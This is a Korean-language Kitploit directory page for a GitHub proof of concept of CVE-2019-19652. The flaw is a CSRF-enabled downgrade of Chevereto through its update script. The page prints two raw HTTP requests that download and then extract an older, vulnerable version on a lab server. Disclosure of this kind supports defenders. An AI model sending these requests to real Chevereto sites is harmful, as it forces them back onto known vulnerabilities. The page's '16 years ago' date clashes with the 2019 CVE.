Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-19652 — Chevereto 다운그레이드 공격 - 1.0.0 - 1.1.4 Free, <= 3.13.5 Core | Kitploit
도구/GitHubGitHub/jra89/cve-2019-19652
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingMisconfiguration
GitHubjra89/cve-2019-19652

CVE-2019-19652

Chevereto 다운그레이드 공격 - 1.0.0 - 1.1.4 Free, <= 3.13.5 Core

저장소 보기
16년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2019-19652

Chevereto 다운그레이드 공격 - 1.0.0 - 1.1.4 Free, <= 3.13.5 Core. 관리자 사용자는 업데이트 스크립트에 업그레이드 대신 다른 버전으로 다운그레이드하도록 지시할 수 있으며, 이로 인해 이전 결함이 다시 도입됩니다. CSRF 토큰이 없기 때문에 이 공격은 CSRF 공격에도 사용될 수 있으며, 관리자 사용자가 속아서 이 작업을 수행하도록 유도될 수 있습니다.

관리자 사용자는 업데이트 스크립트에 모든 버전(심지어 오래된 버전)을 다운로드하도록 지시할 수 있습니다

서버는 다운로드된 파일의 전체 파일명을 반환하며, 이는 다음 요청에서 사용됩니다.

root@kitploit:~
GET /update/?action=download&version=3.13.4 HTTP/1.1
Host: 192.168.0.88
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.0.88/dashboard/settings/external-services
Cookie: PHPSESSID=47s523u1s4m67g0vaheldg4s31; KEEP_LOGIN=I8G%3A65983a8df3bcb482e2571a6e771c89600221f615208d39aee8bf6663b88aef732c7783e202410a7ae4c3ad2205c96baeddb841b912325b359ec79528638807efbff73a017c6d719aa0cab0d6a5814d98a671c17d457479371228c590e215f7e8bc7bfcb820142106%3A1575658473
Upgrade-Insecure-Requests: 1

그런 다음 현재 버전 위에 간단히 압축을 풀어 이전 취약점에 노출될 가능성이 생깁니다

root@kitploit:~
GET /update/?action=extract&file=chevereto_3.13.4_3e50e6fa70915cd22849819f.zip HTTP/1.1
Host: 192.168.0.88
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.0.88/dashboard/settings/external-services
Cookie: PHPSESSID=47s523u1s4m67g0vaheldg4s31; KEEP_LOGIN=I8G%3A65983a8df3bcb482e2571a6e771c89600221f615208d39aee8bf6663b88aef732c7783e202410a7ae4c3ad2205c96baeddb841b912325b359ec79528638807efbff73a017c6d719aa0cab0d6a5814d98a671c17d457479371228c590e215f7e8bc7bfcb820142106%3A1575658473
Upgrade-Insecure-Requests: 1
도구 다운로드